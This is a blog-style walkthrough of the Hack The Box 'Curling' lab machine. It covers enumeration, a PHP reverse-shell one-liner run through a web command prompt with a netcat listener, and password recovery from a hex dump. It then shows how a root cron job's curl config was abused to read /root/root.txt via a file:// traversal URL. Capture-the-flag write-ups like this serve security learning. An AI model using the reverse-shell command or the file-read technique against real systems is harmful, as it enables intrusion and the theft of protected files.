Hack The Box

Hack the Box - Curling

pwned: 21/02/2019

Today I rooted the Curling box, which was done in around an hour, and was a nice relief compared to Chaos.

I was told that this one was one of the easier ones, so I was excited to try something that wouldn’t take me like 72 hours.

Enumeration

I started off with a basic nmap scan, to find some services running.

1

nmap -sV -v 10.10.10.150

This led me to a webserver, which I placed into my browser, and concurrently ran a dirb scan:

1

dirb http://10.10.10.150 /usr/share/wordlists/dirb/common.txt

Dirb found a secret.txt file, which was a b64 encoded string, and it looked like a password. I don’t know who’s password this was yet:

Something strange happened at this point, and when I went back to the main menu, a dialog for command was shown, allowing remote execution without any filtering. Very weird. Also, the only author for the posts on the main page was by ‘floris’, so I assume that the password I found was for floris. I tried logging into the admin control panel that was visible on the main page, and was greeted with this page:

It was the same RCE command prompt, as well as a directory listing all files under www-data. I popped in a quick PHP reverse shell one liner:

1

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

And listened to it with the following:

1

nc -l -p 5555

This worked instantly, and I was in a low-priv shell.
I begun my enumeration with trying to log in with floris, just like I tried with Chaos, however I needed an interactive shell.
No matter what I did, I could not upgrade my TTY, and thus could not log in directly with his credentials.

I then tried browsing through the /home/ directory, and found out that the www-data user could read floris’ home folder, but not any contents here.

There was another file here called password_backup. When i ran cat on it, it spit out a hex file. I knew what to do with this, so I used the techniques I learned in chaos to download the password_backup file to my host computer:

Since this was a hex dump of a file, I used the reverse parameter of xxd to form it back into a file. This was a technique I learned in a Digital Forensics class.
I then used file to confirm what type of file it was by reading the magic file signature.

1

xxd -r password_backup > pass

After using file to see what type of file it was, it turned out to be a bzip2 compressed archive:

I then begun a chain of

1

bunzip2, gunzip, tar -xvf, file

a few times in a row, similar to Bandit 15 in order to get the final file - a password.txt file. This password txt file contained a password, I assumed for floris.
So i then tried to ssh in using that password:

And this was the user own.

Root Own

This step was a little tricky. I noticed there was a directory named admin-area, which I navigated to, and contained only 2 files:

• input
• report

The input was just a string containing

1

url = "http:/127.0.0.1"

Since I have used config files for curl before in previous classes or at home, I know that this is an arg that curl accepts from a file using the -K parameter. This was confirmed because the ‘report’ file, was just a curl of localhost, the webserver.

I tried to edit the file to say

1

url = "http://127.0.0.1/root/root.txt"

in the hope that it would work, and ran

1

curl -K input

myself, and didn’t result in anything. However I noticed something stranged happened - The input file was reverted back to saying

1

url = "http:/127.0.0.1"

and the report file contained the output of my own curl -K input file.

I experimented for a little bit more, and every time, after a few seconds, the input file would revert back to default, and the report would show whatever I tried to replace the input file with previously.

I went to the HTB Curling forum for some hints, and confirmed my suspicion that this was actually a job running by cron. I didn’t neccesarily use that information to my advantage, but instead I researched on ways to curl local files.

Turns out, you can use

1

file:///yourfile.txt

and curl will retrieve the file. I struggled on this step for about 20 minutes, trying to figure out how to get /root/root.txt (as that seems like where every root flag is). I googled how to do directory traversal using curl, and one of the first results was a stackoverflow page for something completely unrelated, but had the following curl command:

1

curl file:///localhost/../../../home/user/script.sh

Which means, this exited /var/www/html and found itself on the filesystem root.

I then modified the input file to use that URI instead:

1

url = "file:///127.0.0.1/../../../root/root.txt

I waited a few minutes to see if the report file changed, and when I cat the result some time later, I found a string which ended up being the root flag.

Conclusion

A pretty interesting flag that spiked up in complexity for root, but I felt like some other users did the steps for me, as there a RCE dialog straight on the main page of the website - I don’t think this was intentional.

I also believe there is a better way to get the root flag, as I did not get root shell. There is probably some way to modify the cron job to instead of running curl, run some other command of my choosing, but doing a ls -la /etc/ | grep cron, revealed that those files were writeable by root only.

I probably should have done 127.0.0.1/../../../bin/sh instead, as the cronjob runs that file as root, and I would have possibly gotten a root shell that way, but in the end I still got the flag.